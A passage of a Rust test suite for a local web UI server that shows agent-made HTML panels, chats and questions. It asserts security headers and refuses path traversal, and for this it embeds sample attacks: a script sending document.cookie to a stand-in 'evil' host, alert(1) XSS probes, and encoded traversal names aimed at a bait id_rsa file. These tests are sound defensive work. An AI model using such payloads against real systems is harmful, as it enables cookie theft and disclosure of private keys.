3299 let mut hits = ids
3300 .into_iter()
3301 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3302 match (hits.next(), hits.next()) {
3303 (Some(one), None) => Ok(one),
3304 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3305 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3306 "`{prefix}` matches more than one {what}, including {a} and {b}"
3307 ))),
3308 }
3309}
3310
3311#[cfg(test)]
3312mod tests {
3313 use pretty_assertions::assert_eq;
3314 use serde_json::Value;
3315 use tempfile::TempDir;
3316 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3317
3318 use super::*;
3319 use crate::config::Config;
3320 use crate::queue::{Source, TaskStatus};
3321
3322 struct Fixture {
3328 home: TempDir,
3329 addr: SocketAddr,
3330 }
3331
3332 impl Fixture {
3333 async fn start() -> Self {
3334 Self::with_loop(launch_idle).await
3335 }
3336
3337 async fn with_loop(launch: Launch) -> Self {
3339 let home = TempDir::new().expect("temp home");
3340 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3341 Self { home, addr }
3342 }
3343
3344 async fn with_repo(repo: PathBuf) -> Self {
3348 let home = TempDir::new().expect("temp home");
3349 let addr = Self::serve(home.path(), repo, launch_idle).await;
3350 Self { home, addr }
3351 }
3352
3353 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
3354 let queue = Queue::at(home.join("queue"));
3355 let runs = home.join("runs");
3356 std::fs::create_dir_all(&runs).expect("runs dir");
3357 let worktrees = home.join("wt").join("magi");
3358 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
3359 let ui = Ui::new(
3360 queue,
3361 Questions::at(home.join("questions")),
3362 Chats::at(home.join("chats")),
3363 Talks::at(home.join("talks")),
3364 runs,
3365 home.to_path_buf(),
3366 repo,
3367 )
3368 .with_worktrees_root(worktrees)
3369 .with_launch(launch);
3370 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
3371 .await
3372 .expect("bind loopback");
3373 let addr = listener.local_addr().expect("local addr");
3374 tokio::spawn(async move {
3375 let _ = axum::serve(listener, ui.router()).await;
3376 });
3377 addr
3378 }
3379
3380 fn queue(&self) -> Queue {
3381 Queue::at(self.home.path().join("queue"))
3382 }
3383
3384 fn questions(&self) -> Questions {
3385 Questions::at(self.home.path().join("questions"))
3386 }
3387
3388 fn chats(&self) -> Chats {
3389 Chats::at(self.home.path().join("chats"))
3390 }
3391
3392 fn talks(&self) -> Talks {
3393 Talks::at(self.home.path().join("talks"))
3394 }
3395
3396 fn runs(&self) -> PathBuf {
3397 self.home.path().join("runs")
3398 }
3399
3400 async fn get(&self, path: &str) -> Res {
3401 request(self.addr, "GET", path, None).await
3402 }
3403
3404 async fn head(&self, path: &str) -> Res {
3409 request(self.addr, "HEAD", path, None).await
3410 }
3411
3412 async fn post(&self, path: &str, body: Option<&str>) -> Res {
3413 request(self.addr, "POST", path, body).await
3414 }
3415
3416 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
3417 request_with(self.addr, "GET", path, None, extra).await
3418 }
3419
3420 async fn delete(&self, path: &str) -> Res {
3421 request(self.addr, "DELETE", path, None).await
3422 }
3423 }
3424
3425 struct Res {
3426 status: u16,
3427 headers: String,
3428 head: String,
3433 body: String,
3434 bytes: Vec<u8>,
3438 }
3439
3440 impl Res {
3441 fn json(&self) -> Value {
3442 serde_json::from_str(&self.body)
3443 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
3444 }
3445
3446 fn header(&self, name: &str) -> Option<&str> {
3448 self.head.lines().find_map(|line| {
3449 let (key, value) = line.split_once(':')?;
3450 key.trim()
3451 .eq_ignore_ascii_case(name)
3452 .then(|| value.trim_start().trim_end_matches('\r'))
3453 })
3454 }
3455 }
3456
3457 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
3460 request_with(addr, method, path, body, &[]).await
3461 }
3462
3463 async fn request_with(
3467 addr: SocketAddr,
3468 method: &str,
3469 path: &str,
3470 body: Option<&str>,
3471 extra: &[(&str, &str)],
3472 ) -> Res {
3473 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3474 for (name, value) in extra {
3475 head.push_str(&format!("{name}: {value}\r\n"));
3476 }
3477 if let Some(body) = body {
3478 head.push_str("Content-Type: application/json\r\n");
3479 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
3480 }
3481 head.push_str("\r\n");
3482 if let Some(body) = body {
3483 head.push_str(body);
3484 }
3485 let mut socket = tokio::net::TcpStream::connect(addr)
3486 .await
3487 .expect("connect to the test server");
3488 socket
3489 .write_all(head.as_bytes())
3490 .await
3491 .expect("write request");
3492 let mut raw = Vec::new();
3493 socket.read_to_end(&mut raw).await.expect("read response");
3494 let split = raw
3497 .windows(4)
3498 .position(|w| w == b"\r\n\r\n")
3499 .expect("a header block");
3500 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3501 let bytes = raw[split + 4..].to_vec();
3502 let status = head
3503 .lines()
3504 .next()
3505 .and_then(|line| line.split_whitespace().nth(1))
3506 .and_then(|code| code.parse().ok())
3507 .expect("a status line");
3508 Res {
3509 status,
3510 headers: head.to_lowercase(),
3511 head,
3512 body: String::from_utf8_lossy(&bytes).into_owned(),
3513 bytes,
3514 }
3515 }
3516
3517 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3519 let mut state = RunState::new(
3520 PathBuf::from("/repo/magi"),
3521 "main".to_owned(),
3522 "0123456789abcdef".to_owned(),
3523 "Add a web UI\n\nMobile first.".to_owned(),
3524 Config::default(),
3525 );
3526 state.id = id.to_owned();
3527 state.status = status;
3528 let dir = runs.join(id);
3529 std::fs::create_dir_all(&dir).expect("run dir");
3530 std::fs::write(
3531 dir.join("run.json"),
3532 serde_json::to_string_pretty(&state).expect("serialize run"),
3533 )
3534 .expect("write run.json");
3535 }
3536
3537 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3538 let body = serde_json::json!({
3539 "schema": 1,
3540 "pid": 4242,
3541 "started_at": Timestamp::now().to_string(),
3542 "updated_at": updated_at.to_string(),
3543 "idle": false,
3544 "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3545 "completed": 7,
3546 "polls": 143,
3547 });
3548 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3549 }
3550
3551 fn launch_idle(
3561 _opts: daemon::Opts,
3562 stop: daemon::Stop,
3563 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3564 Box::pin(async move {
3565 while !stop.stopped() {
3566 tokio::time::sleep(Duration::from_millis(2)).await;
3567 }
3568 Ok(())
3569 })
3570 }
3571
3572 fn launch_broken(
3575 _opts: daemon::Opts,
3576 _stop: daemon::Stop,
3577 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3578 Box::pin(async {
3579 Err(anyhow::anyhow!(
3580 "publish the daemon status file: read-only file system"
3581 ))
3582 })
3583 }
3584
3585 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3592 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3593
3594 fn launch_knocking_on_the_way_out(
3601 _opts: daemon::Opts,
3602 stop: daemon::Stop,
3603 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3604 Box::pin(async move {
3605 while !stop.stopped() {
3606 tokio::time::sleep(Duration::from_millis(2)).await;
3607 }
3608 let addr = PARK_KNOCK
3609 .lock()
3610 .expect("park knock")
3611 .expect("the test set an address");
3612 let heard = request(addr, "GET", "/api/health", None).await.status;
3613 *PARK_HEARD.lock().expect("park heard") = Some(heard);
3614 Ok(())
3615 })
3616 }
3617
3618 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3626 for _ in 0..200 {
3627 let view = fx.get("/api/loop").await.json();
3628 if want(&view) {
3629 return view;
3630 }
3631 tokio::time::sleep(Duration::from_millis(10)).await;
3632 }
3633 panic!(
3634 "the loop never settled: {}",
3635 fx.get("/api/loop").await.json()
3636 );
3637 }
3638
3639 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3641 let store = fx.questions();
3642 let mut q = Question::new(
3643 "20260902-000000-beef".to_owned(),
3644 "implement".to_owned(),
3645 "impl-A".to_owned(),
3646 summary.to_owned(),
3647 "because it matters".to_owned(),
3648 choices.iter().map(|c| (*c).to_owned()).collect(),
3649 );
3650 store.put(&mut q).expect("put question");
3651 q.id
3652 }
3653
3654 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3660 let store = fx.questions();
3661 let mut q = Question::new(
3662 "20260902-000000-beef".to_owned(),
3663 "land".to_owned(),
3664 "fix".to_owned(),
3665 "Merge this?".to_owned(),
3666 "the diff is in the panel".to_owned(),
3667 vec!["merge".to_owned(), "hold".to_owned()],
3668 );
3669 let staging = fx.home.path().join("staging");
3672 std::fs::create_dir_all(&staging).expect("staging dir");
3673 let sources: Vec<PathBuf> = assets
3674 .iter()
3675 .map(|(name, bytes)| {
3676 let path = staging.join(name);
3677 std::fs::write(&path, bytes).expect("write staged asset");
3678 path
3679 })
3680 .collect();
3681 store
3682 .put_panel(&mut q, html, &sources)
3683 .expect("write the panel");
3684 store.put(&mut q).expect("put question");
3685 q.id
3686 }
3687
3688 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3696 let store = fx.chats();
3697 std::fs::create_dir_all(store.root()).expect("chats dir");
3698 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3699 .expect("serialize a seat");
3700 let body = serde_json::json!({
3701 "schema": 1,
3702 "id": id,
3703 "repo": "/repo/magi",
3704 "agent": "sonnet",
3705 "status": status,
3706 "turns": [
3707 { "who": "operator", "body": "rework the config loader",
3708 "at": Timestamp::now().to_string() },
3709 { "who": "agent", "body": "Which part is hurting?",
3710 "at": Timestamp::now().to_string() },
3711 ],
3712 "draft": draft,
3713 "task": Value::Null,
3714 "created_at": Timestamp::now().to_string(),
3715 "updated_at": Timestamp::now().to_string(),
3716 "seat": seat,
3717 });
3718 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3719 store.get(id).expect("the seeded chat has to be readable");
3722 id.to_owned()
3723 }
3724
3725 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
3728 let store = fx.talks();
3729 std::fs::create_dir_all(store.root()).expect("talks dir");
3730 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
3731 .expect("serialize a seat");
3732 let body = serde_json::json!({
3733 "schema": 1,
3734 "id": id,
3735 "repo": "/repo/magi",
3736 "agent": "mock",
3737 "status": status,
3738 "turns": [],
3739 "created_at": Timestamp::now().to_string(),
3740 "updated_at": Timestamp::now().to_string(),
3741 "seat": seat,
3742 });
3743 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
3744 store.get(id).expect("the seeded talk has to be readable");
3745 id.to_owned()
3746 }
3747
3748 fn good_draft() -> String {
3751 "# Rework the config loader\n\n\
3752 ## Why\n\n\
3753 It re-reads `magi.toml` on every lookup, so a run that asks for the \
3754 roster four hundred times pays four hundred parses of the same file.\n\n\
3755 ## What\n\n\
3756 Load the layers once when the run starts and hand the merged value \
3757 around. Nothing about the file format changes.\n\n\
3758 ## Acceptance criteria\n\n\
3759 - `Config::discover` is called exactly once per run.\n\
3760 - `cargo test` passes with no change to any existing assertion.\n"
3761 .to_owned()
3762 }
3763
3764 #[tokio::test]
3765 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3766 let fx = Fixture::start().await;
3767 let id = panel(
3768 &fx,
3769 "<h1>Merge?</h1><img src=\"diff.svg\">",
3770 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3771 );
3772
3773 for path in [
3774 format!("/api/questions/{id}/panel"),
3775 format!("/api/questions/{id}/asset/diff.svg"),
3776 ] {
3777 let res = fx.get(&path).await;
3778 assert_eq!(res.status, 200, "{path}: {}", res.body);
3779 assert_eq!(
3785 res.header("content-security-policy"),
3786 Some(
3787 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3788 font-src data:; base-uri 'none'; form-action 'none'; \
3789 frame-ancestors 'self'"
3790 ),
3791 "{path} is the only thing between a hostile panel and the tailnet"
3792 );
3793 assert_eq!(
3794 res.header("x-content-type-options"),
3795 Some("nosniff"),
3796 "{path}: a browser must not re-decide the type we sent"
3797 );
3798 assert_eq!(
3799 res.header("referrer-policy"),
3800 Some("no-referrer"),
3801 "{path}: a panel must not leak the question id off the machine"
3802 );
3803
3804 let pre = fx.head(&path).await;
3809 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3810 assert_eq!(
3811 pre.header("content-security-policy"),
3812 res.header("content-security-policy"),
3813 "{path}: the preflight carries the same policy"
3814 );
3815 assert_eq!(
3816 pre.header("content-type"),
3817 res.header("content-type"),
3818 "{path}: the preflight carries the same type"
3819 );
3820 }
3821 }
3822
3823 #[tokio::test]
3824 async fn a_panel_reaches_the_browser_byte_for_byte() {
3825 let fx = Fixture::start().await;
3826 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
3831 let id = panel(&fx, html, &[]);
3832
3833 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3834
3835 assert_eq!(res.status, 200);
3836 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3837 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3838 assert_eq!(
3839 res.header("content-disposition"),
3840 None,
3841 "the panel itself is rendered in the frame, not downloaded"
3842 );
3843 }
3844
3845 #[tokio::test]
3846 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3847 let fx = Fixture::start().await;
3848 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3849 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3850 let id = panel(
3851 &fx,
3852 "<img src=\"diff.svg\"><img src=\"shot.png\">",
3853 &[("diff.svg", svg), ("shot.png", png)],
3854 );
3855
3856 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3857 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3858
3859 assert_eq!(as_svg.status, 200);
3860 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3861 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3866
3867 assert_eq!(as_png.status, 200);
3868 assert_eq!(as_png.header("content-type"), Some("image/png"));
3869 assert_eq!(
3870 as_png.header("content-disposition"),
3871 None,
3872 "a raster image has no execution surface, so tapping it still shows it"
3873 );
3874 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3875 }
3876
3877 #[tokio::test]
3878 async fn an_html_asset_is_never_served_as_html() {
3879 let fx = Fixture::start().await;
3880 let id = panel(
3881 &fx,
3882 "<p>see the notes</p>",
3883 &[
3884 (
3885 "notes.html",
3886 b"<script>fetch('http://evil/'+document.cookie)</script>",
3887 ),
3888 ("hook.js", b"fetch('http://evil/')"),
3889 ("data.json", b"{}"),
3890 ("HEADLINE.TXT", b"plain"),
3891 ],
3892 );
3893
3894 for name in ["notes.html", "hook.js", "data.json"] {
3895 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3896 assert_eq!(res.status, 200, "{name}: {}", res.body);
3897 assert_eq!(
3902 res.header("content-type"),
3903 Some("application/octet-stream"),
3904 "{name} must not be a type the browser will execute or render"
3905 );
3906 }
3907 let txt = fx
3910 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3911 .await;
3912 assert_eq!(
3913 txt.header("content-type"),
3914 Some("text/plain; charset=utf-8")
3915 );
3916 }
3917
3918 #[tokio::test]
3919 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3920 let fx = Fixture::start().await;
3921 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3922 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3926
3927 for encoded in [
3934 "%2e%2e%2fid_rsa",
3935 "..%2fid_rsa",
3936 "..%5cid_rsa",
3937 "%2e%2e%5cid_rsa",
3938 "diff%00.svg",
3939 "..",
3940 ".hidden",
3941 "%2e%2e%2f%2e%2e%2fid_rsa",
3942 ] {
3943 let res = fx
3944 .get(&format!("/api/questions/{id}/asset/{encoded}"))
3945 .await;
3946 assert_eq!(
3947 res.status, 400,
3948 "`{encoded}` has to be refused by name, not looked up: {}",
3949 res.body
3950 );
3951 assert!(res.json()["error"].is_string(), "{}", res.body);
3952 }
3953
3954 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3960 let res = fx
3961 .get(&format!("/api/questions/{id}/asset/{literal}"))
3962 .await;
3963 assert_eq!(
3964 res.status, 404,
3965 "`{literal}` must not match the asset route at all: {}",
3966 res.body
3967 );
3968 }
3969 }
3970
3971 #[tokio::test]
3972 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3973 let fx = Fixture::start().await;
3974 let plain = ask(&fx, "Which backend?", &["SQLite"]);
3975 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3976
3977 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3981 assert_eq!(none.status, 404, "{}", none.body);
3982 assert!(none.json()["error"].is_string(), "{}", none.body);
3983 assert_eq!(
3984 fx.head(&format!("/api/questions/{plain}/panel"))
3985 .await
3986 .status,
3987 404,
3988 "the preflight is the only way the client can learn this"
3989 );
3990
3991 let missing = fx
3993 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3994 .await;
3995 assert_eq!(missing.status, 404, "{}", missing.body);
3996 assert!(missing.json()["error"].is_string(), "{}", missing.body);
3997
3998 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4000 assert_eq!(
4001 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4002 404
4003 );
4004 }
4005
4006 #[tokio::test]
4007 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
4008 let fx = Fixture::start().await;
4009 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4010
4011 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
4012 interview(&fx, "20260903-014456-open", "open", None);
4013
4014 let listed = fx.get("/api/chats").await;
4015 assert_eq!(listed.status, 200, "{}", listed.body);
4016 let chats = listed.json();
4017 assert_eq!(chats.as_array().map(Vec::len), Some(2));
4018 assert_eq!(
4019 chats[0]["id"], "20260903-014456-open",
4020 "an unfinished interview is what the operator came back for: {chats}"
4021 );
4022 assert_eq!(chats[0]["status"], "open");
4023 assert_eq!(chats[0]["turns"][0]["who"], "operator");
4026 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
4027 assert_eq!(chats[1]["status"], "filed");
4028
4029 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
4032 }
4033
4034 #[tokio::test]
4035 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
4036 let fx = Fixture::start().await;
4037 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4038
4039 let full = fx.get(&format!("/api/chats/{id}")).await;
4040 assert_eq!(full.status, 200, "{}", full.body);
4041 assert_eq!(full.json()["id"], id);
4042 assert_eq!(full.json()["repo"], "/repo/magi");
4043
4044 let short = fx.get("/api/chats/ab12").await;
4046 assert_eq!(short.status, 200, "{}", short.body);
4047 assert_eq!(short.json()["id"], id);
4048
4049 let missing = fx.get("/api/chats/nosuchchat").await;
4050 assert_eq!(missing.status, 404, "{}", missing.body);
4051 assert!(
4052 missing.json()["error"]
4053 .as_str()
4054 .is_some_and(|e| e.contains("chat")),
4055 "the error names what was not found: {}",
4056 missing.body
4057 );
4058 }
4059
4060 #[tokio::test]
4061 async fn filing_a_bad_draft_reports_every_problem_at_once() {
4062 let fx = Fixture::start().await;
4063 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
4064
4065 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4066
4067 assert_eq!(res.status, 400, "{}", res.body);
4068 let problems = res.json()["problems"].clone();
4069 let problems = problems.as_array().expect("an array of problems");
4070 assert!(
4075 problems.len() > 1,
4076 "one round trip has to be enough to fix the draft: {}",
4077 res.body
4078 );
4079 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
4080 assert!(res.json()["error"].is_string(), "{}", res.body);
4081 assert!(
4082 fx.queue().list().is_empty(),
4083 "a refused draft must not reach the queue"
4084 );
4085
4086 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
4089 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
4090 assert_eq!(res.status, 400, "{}", res.body);
4091 assert_eq!(
4092 res.json()["problems"].as_array().map(Vec::len),
4093 Some(1),
4094 "{}",
4095 res.body
4096 );
4097 }
4098
4099 #[tokio::test]
4100 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
4101 let fx = Fixture::start().await;
4102 let draft = good_draft();
4103 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
4104
4105 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4106
4107 assert_eq!(res.status, 200, "{}", res.body);
4108 let task = res.json()["task"]
4109 .as_str()
4110 .unwrap_or_else(|| panic!("a task id: {}", res.body))
4111 .to_owned();
4112
4113 let queued = fx.queue().get(&task).expect("the task is on disk");
4116 assert_eq!(
4117 queued.instruction, draft,
4118 "the draft reaches the graph verbatim"
4119 );
4120 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
4121 assert_eq!(
4122 fx.get("/api/queue").await.json()[0]["id"],
4123 task,
4124 "the filed task is the listed one"
4125 );
4126
4127 let after = fx.get(&format!("/api/chats/{id}")).await.json();
4129 assert_eq!(after["task"], task);
4130 assert_eq!(after["status"], "filed");
4131 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4132 }
4133
4134 #[tokio::test]
4135 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
4136 let fx = Fixture::start().await;
4137 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4138 let ui = Ui::new(
4139 fx.queue(),
4140 fx.questions(),
4141 fx.chats(),
4142 fx.talks(),
4143 fx.runs(),
4144 fx.home.path().to_path_buf(),
4145 PathBuf::from("/repo/magi"),
4146 )
4147 .with_worktrees_root(fx.home.path().join("wt"));
4148
4149 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
4153 let second = ui.begin_turn(&id).expect_err("the second must be refused");
4154 assert_eq!(
4155 second.status,
4156 StatusCode::CONFLICT,
4157 "a double tap on a slow link must not append two half-turns"
4158 );
4159
4160 drop(first);
4164 assert!(
4165 ui.begin_turn(&id).is_ok(),
4166 "the slot has to come back on its own"
4167 );
4168 }
4169
4170 #[tokio::test]
4171 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
4172 let fx = Fixture::start().await;
4173 let id = interview(&fx, "20260903-014455-ab12", "open", None);
4174
4175 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
4178 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
4179 assert_eq!(res.status, 400, "{body}: {}", res.body);
4180 }
4181 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
4182 assert_eq!(res.status, 400, "{}", res.body);
4183
4184 assert_eq!(
4185 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
4186 .as_array()
4187 .map(Vec::len),
4188 Some(2),
4189 "nothing above may have appended a turn"
4190 );
4191 }
4192
4193 #[tokio::test]
4194 async fn a_run_with_an_open_question_reads_as_waiting() {
4195 let fx = Fixture::start().await;
4196 let run = "20260902-000000-beef".to_owned();
4197 write_run(&fx.runs(), &run, RunStatus::Implementing);
4198
4199 let before = fx.get("/api/runs").await.json();
4200 assert_eq!(before[0]["waiting"], false, "{before}");
4201
4202 let store = fx.questions();
4203 let mut q = Question::new(
4204 run.clone(),
4205 "implement".to_owned(),
4206 "impl-A".to_owned(),
4207 "Which backend?".to_owned(),
4208 String::new(),
4209 vec!["SQLite".to_owned()],
4210 );
4211 store.put(&mut q).expect("put");
4212
4213 let during = fx.get("/api/runs").await.json();
4214 assert_eq!(during[0]["waiting"], true, "{during}");
4215
4216 q.answer(Answer::Choice("SQLite".to_owned()))
4219 .expect("answer");
4220 store.put(&mut q).expect("put");
4221 let after = fx.get("/api/runs").await.json();
4222 assert_eq!(after[0]["waiting"], false, "{after}");
4223 }
4224
4225 #[tokio::test]
4226 async fn an_open_question_is_listed_and_counted_by_health() {
4227 let fx = Fixture::start().await;
4228 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4229
4230 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4231 let listed = fx.get("/api/questions").await.json();
4232 assert_eq!(listed.as_array().expect("array").len(), 1);
4233 assert_eq!(listed[0]["id"], id);
4234 assert_eq!(listed[0]["status"], "open");
4235 assert_eq!(listed[0]["choices"][1], "Redis");
4236 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4239 }
4240
4241 #[tokio::test]
4242 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4243 let fx = Fixture::start().await;
4244 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4245 let path = format!("/api/questions/{id}/answer");
4246
4247 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4248 assert_eq!(res.status, 200, "{}", res.body);
4249 let body = res.json();
4250 assert_eq!(body["status"], "answered");
4251 assert_eq!(body["answer"]["choice"], "Redis");
4252
4253 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4257 assert_eq!(again.status, 409, "{}", again.body);
4258 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4259 }
4260
4261 #[tokio::test]
4262 async fn an_answer_the_question_does_not_offer_is_refused() {
4263 let fx = Fixture::start().await;
4264 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4265 let path = format!("/api/questions/{id}/answer");
4266
4267 for body in [
4268 r#"{"choice":"Postgres"}"#,
4269 r#"{"text":"whatever you think"}"#,
4270 r#"{"choice":"Redis","text":"both"}"#,
4271 r#"{}"#,
4272 ] {
4273 let res = fx.post(&path, Some(body)).await;
4274 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4275 assert!(res.json()["error"].is_string(), "{}", res.body);
4276 }
4277 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4279 }
4280
4281 #[tokio::test]
4282 async fn a_free_text_question_takes_text_and_not_a_choice() {
4283 let fx = Fixture::start().await;
4284 let id = ask(&fx, "What should the flag be called?", &[]);
4285 let path = format!("/api/questions/{id}/answer");
4286
4287 assert_eq!(
4288 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4289 400
4290 );
4291 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4292 assert_eq!(res.status, 200, "{}", res.body);
4293 assert_eq!(res.json()["answer"]["text"], "--json");
4294 }
4295
4296 #[tokio::test]
4297 async fn an_unknown_question_is_a_json_404() {
4298 let fx = Fixture::start().await;
4299 let res = fx
4300 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4301 .await;
4302 assert_eq!(res.status, 404, "{}", res.body);
4303 assert!(res.json()["error"].is_string());
4304 }
4305
4306 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4308 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4309 .expect("checkout dir");
4310 }
4311
4312 #[tokio::test]
4313 async fn repos_list_returns_name_and_path_for_every_configured_root() {
4314 let tmp = TempDir::new().expect("tempdir");
4315 let repo = tmp.path().join("repo");
4316 std::fs::create_dir_all(&repo).expect("repo dir");
4317 let root = tmp.path().join("root");
4318 make_checkout(&root, "github.com", "yukimemi", "magi");
4319 std::fs::write(
4320 repo.join("magi.toml"),
4321 format!(
4322 "[repos]\nroots = [{:?}]\n",
4323 root.to_string_lossy().into_owned()
4324 ),
4325 )
4326 .expect("write magi.toml");
4327
4328 let f = Fixture::with_repo(repo).await;
4329 let res = f.get("/api/repos").await;
4330 assert_eq!(res.status, 200, "{}", res.body);
4331 let list = res.json();
4332 let repos = list.as_array().expect("an array");
4333 assert_eq!(repos.len(), 1);
4334 assert_eq!(repos[0]["name"], "yukimemi/magi");
4335 assert!(
4336 repos[0]["path"]
4337 .as_str()
4338 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4339 "{list}"
4340 );
4341 }
4342
4343 #[tokio::test]
4344 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4345 let tmp = TempDir::new().expect("tempdir");
4346 let repo = tmp.path().join("repo");
4347 std::fs::create_dir_all(&repo).expect("repo dir");
4348 let root = tmp.path().join("root");
4349 make_checkout(&root, "github.com", "yukimemi", "magi");
4350 std::fs::write(
4351 repo.join("magi.toml"),
4352 format!(
4353 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4354 root.to_string_lossy().into_owned()
4355 ),
4356 )
4357 .expect("write magi.toml");
4358
4359 let f = Fixture::with_repo(repo).await;
4360 let first = f.get("/api/repos").await;
4361 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4362
4363 make_checkout(&root, "github.com", "yukimemi", "rvpm");
4366 let second = f.get("/api/repos").await;
4367 assert_eq!(
4368 second.json().as_array().map(Vec::len),
4369 Some(1),
4370 "a fresh cache must not rescan inside the TTL"
4371 );
4372
4373 let refreshed = f.get("/api/repos?refresh=1").await;
4374 assert_eq!(
4375 refreshed.json().as_array().map(Vec::len),
4376 Some(2),
